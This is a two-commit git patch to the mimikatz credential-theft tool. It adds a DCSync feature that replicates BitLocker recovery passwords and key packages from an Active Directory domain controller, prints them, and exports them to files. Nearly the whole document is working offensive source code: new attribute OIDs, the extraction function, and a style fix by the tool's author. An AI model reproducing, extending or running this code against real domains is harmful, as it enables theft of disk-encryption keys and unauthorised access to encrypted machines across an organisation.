From 293910419f9d821315fbd6b5de04b90cc230ff4a Mon Sep 17 00:00:00 2001 From: Gabriele Gristina Date: Sat, 4 Sep 2021 20:37:32 +0200 Subject: [PATCH 1/2] Dump Bitlocker Recovery Information with DCSync --- mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c | 85 +++++++++++++++++++- mimikatz/modules/lsadump/kuhl_m_lsadump_dc.h | 2 + modules/rpc/kull_m_rpc_drsr.h | 6 ++ 3 files changed, 92 insertions(+), 1 deletion(-) diff --git a/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c index 77fec83..6787633 100644 --- a/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c +++ b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c @@ -16,6 +16,7 @@ LPCSTR kuhl_m_lsadump_dcsync_oids[] = { szOID_ANSI_userAccountControl, szOID_ANSI_accountExpires, szOID_ANSI_pwdLastSet, szOID_ANSI_objectSid, szOID_ANSI_sIDHistory, szOID_ANSI_unicodePwd, szOID_ANSI_ntPwdHistory, szOID_ANSI_dBCSPwd, szOID_ANSI_lmPwdHistory, szOID_ANSI_supplementalCredentials, + szOID_ANSI_msFVEKeyPackage, szOID_ANSI_msFVERecoveryGuid, szOID_ANSI_msFVEVolumeGuid, szOID_ANSI_msFVERecoveryPassword, szOID_ANSI_trustPartner, szOID_ANSI_trustAuthIncoming, szOID_ANSI_trustAuthOutgoing, szOID_ANSI_currentValue, szOID_isDeleted, @@ -25,6 +26,8 @@ LPCSTR kuhl_m_lsadump_dcsync_oids_export[] = { szOID_ANSI_sAMAccountName, szOID_ANSI_objectSid, szOID_ANSI_userAccountControl, szOID_ANSI_unicodePwd, + szOID_ANSI_msFVEKeyPackage, szOID_ANSI_msFVERecoveryGuid, szOID_ANSI_msFVEVolumeGuid, szOID_ANSI_msFVERecoveryPassword, + szOID_ANSI_currentValue, szOID_isDeleted, }; NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]) @@ -236,9 +239,12 @@ void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATT void kuhl_m_lsadump_dcsync_descrObject(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain, BOOL someExport) { kull_m_rpc_drsr_findPrintMonoAttr(L"\nObject RDN : ", prefixTable, attributes, szOID_ANSI_name, TRUE); + kprintf(L"\n"); if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_sAMAccountName, NULL, NULL)) kuhl_m_lsadump_dcsync_descrUser(prefixTable, attributes); + else if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_msFVERecoveryGuid, NULL, NULL)) + kuhl_m_lsadump_dcsync_descrBitlocker(prefixTable, attributes, someExport); else if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_trustPartner, NULL, NULL)) kuhl_m_lsadump_dcsync_descrTrust(prefixTable, attributes, szSrcDomain); else if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_currentValue, NULL, NULL)) @@ -292,6 +298,83 @@ LPCWSTR kuhl_m_lsadump_samAccountType_toString(DWORD accountType) return target; } +void kuhl_m_lsadump_dcsync_descrBitlocker(SCHEMA_PREFIX_TABLE* prefixTable, ATTRBLOCK* attributes, BOOL someExport) +{ + UNICODE_STRING recoveryGuid; + wchar_t* shortname = NULL; + DWORD szData = 0; + PVOID data = 0; + + recoveryGuid.Length = 0; + + kprintf(L"** BITLOCKER RECOVERY INFORMATION **\n\n"); + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_msFVEVolumeGuid, &data, NULL)) + { + UNICODE_STRING uString; + if(NT_SUCCESS(RtlStringFromGUID(data, &uString))) + { + kprintf(L"Volume GUID : %wZ\n", &uString); + RtlFreeUnicodeString(&uString); + } + } + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_msFVERecoveryGuid, &data, NULL)) + { + if(NT_SUCCESS(RtlStringFromGUID(data, &recoveryGuid))) + { + kprintf(L"Recovery GUID : %wZ\n", &recoveryGuid); + } + } + + if(someExport) + { + if(recoveryGuid.Length <= 0) + { + recoveryGuid.Buffer = kull_m_string_getRandomGUID(); + recoveryGuid.Length = (USHORT)wcslen(recoveryGuid.Buffer); + kprintf(L"Recovery GUID (fake) : %wZ\n", &recoveryGuid); + } + shortname = recoveryGuid.Buffer; + } + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_msFVERecoveryPassword, &data, &szData)) + { + if(szData > 0) + { + kprintf(L"Recovery Password : %s\n", data); + + if(someExport) + { + PWCHAR filename = kuhl_m_crypto_generateFileName(L"ntds", L"bitlocker", 0, shortname, L"recoveryPassword"); + kprintf(L"\tExport : %s - \'%s\'\n", kull_m_file_writeData(filename, (PBYTE)data, szData) ? L"OK" : L"KO", filename); + LocalFree(filename); + } + } + } + + if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_msFVEKeyPackage, &data, &szData)) + { + if(szData > 0) + { + kprintf(L"Key Package Size : %u byte(s)\n", szData); + kprintf(L"Key Package : ["); + kull_m_string_wprintf_hex(data, szData, 0); + kprintf(L"]\n"); + + if (someExport) + { + PWCHAR filename = kuhl_m_crypto_generateFileName(L"ntds", L"bitlocker", 0, shortname, L"keyPackage"); + kprintf(L"\tExport : %s - \'%s\'\n", kull_m_file_writeData(filename, (PBYTE)data, szData) ? L"OK" : L"KO", filename); + LocalFree(filename); + } + } + } + + if (recoveryGuid.Length > 0) + RtlFreeUnicodeString(&recoveryGuid); +} + void kuhl_m_lsadump_dcsync_descrUser(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes) { DWORD rid = 0, i; @@ -3046,4 +3129,4 @@ ULONG SRV_IDL_DRSVerifyNames(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_VERIFYR ULONG SRV_IDL_DRSUpdateRefs(DRS_HANDLE hDrs, DWORD dwVersion, DRS_MSG_UPDREFS *pmsgUpdRefs) { return STATUS_SUCCESS; -} \ No newline at end of file +} diff --git a/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.h b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.h index 3b63763..78b106f 100644 --- a/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.h +++ b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.h @@ -12,6 +12,7 @@ #include "../modules/rpc/kull_m_rpc_drsr.h" #include "../kuhl_m.h" #include "../kuhl_m_lsadump.h" // to move +#include "../modules/kull_m_string.h" NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_dcshadow(int argc, wchar_t * argv[]); @@ -46,6 +47,7 @@ void kuhl_m_lsadump_dcsync_descrUserProperties(PUSER_PROPERTIES properties); void kuhl_m_lsadump_dcsync_descrTrust(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain); void kuhl_m_lsadump_dcsync_descrTrustAuthentication(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, PCUNICODE_STRING domain, PCUNICODE_STRING partner, BOOL isIn); void kuhl_m_lsadump_dcsync_descrSecret(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, BOOL someExport); +void kuhl_m_lsadump_dcsync_descrBitlocker(SCHEMA_PREFIX_TABLE* prefixTable, ATTRBLOCK* attributes, BOOL someExport); void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, BOOL withDeleted, BOOL decodeUAC); typedef BOOL (*DCSHADOW_SYNTAX_ENCODER) (ATTRVAL* pVal, PWSTR szValue); diff --git a/modules/rpc/kull_m_rpc_drsr.h b/modules/rpc/kull_m_rpc_drsr.h index 9568843..d5f0da3 100644 --- a/modules/rpc/kull_m_rpc_drsr.h +++ b/modules/rpc/kull_m_rpc_drsr.h @@ -188,6 +188,12 @@ typedef enum { #define szOID_ANSI_lmPwdHistory "1.2.840.113556.1.4.160" #define szOID_ANSI_supplementalCredentials "1.2.840.113556.1.4.125" +// bitlocker +#define szOID_ANSI_msFVERecoveryPassword "1.2.840.113556.1.4.1964" +#define szOID_ANSI_msFVERecoveryGuid "1.2.840.113556.1.4.1965" +#define szOID_ANSI_msFVEVolumeGuid "1.2.840.113556.1.4.1998" +#define szOID_ANSI_msFVEKeyPackage "1.2.840.113556.1.4.1999" + #define szOID_ANSI_trustPartner "1.2.840.113556.1.4.133" #define szOID_ANSI_trustAuthIncoming "1.2.840.113556.1.4.129" #define szOID_ANSI_trustAuthOutgoing "1.2.840.113556.1.4.135" From 0581c93cb23c6bb327c06ee6e2ee4b51260a4a08 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Sun, 5 Sep 2021 17:51:04 +0200 Subject: [PATCH 2/2] Update kuhl_m_lsadump_dc.c More in `mimikatz` C coding style, otherwise seems good :) --- mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c index 6787633..795327f 100644 --- a/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c +++ b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c @@ -300,7 +300,7 @@ LPCWSTR kuhl_m_lsadump_samAccountType_toString(DWORD accountType) void kuhl_m_lsadump_dcsync_descrBitlocker(SCHEMA_PREFIX_TABLE* prefixTable, ATTRBLOCK* attributes, BOOL someExport) { - UNICODE_STRING recoveryGuid; + UNICODE_STRING recoveryGuid, uString; wchar_t* shortname = NULL; DWORD szData = 0; PVOID data = 0; @@ -311,7 +311,6 @@ void kuhl_m_lsadump_dcsync_descrBitlocker(SCHEMA_PREFIX_TABLE* prefixTable, ATTR if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_msFVEVolumeGuid, &data, NULL)) { - UNICODE_STRING uString; if(NT_SUCCESS(RtlStringFromGUID(data, &uString))) { kprintf(L"Volume GUID : %wZ\n", &uString);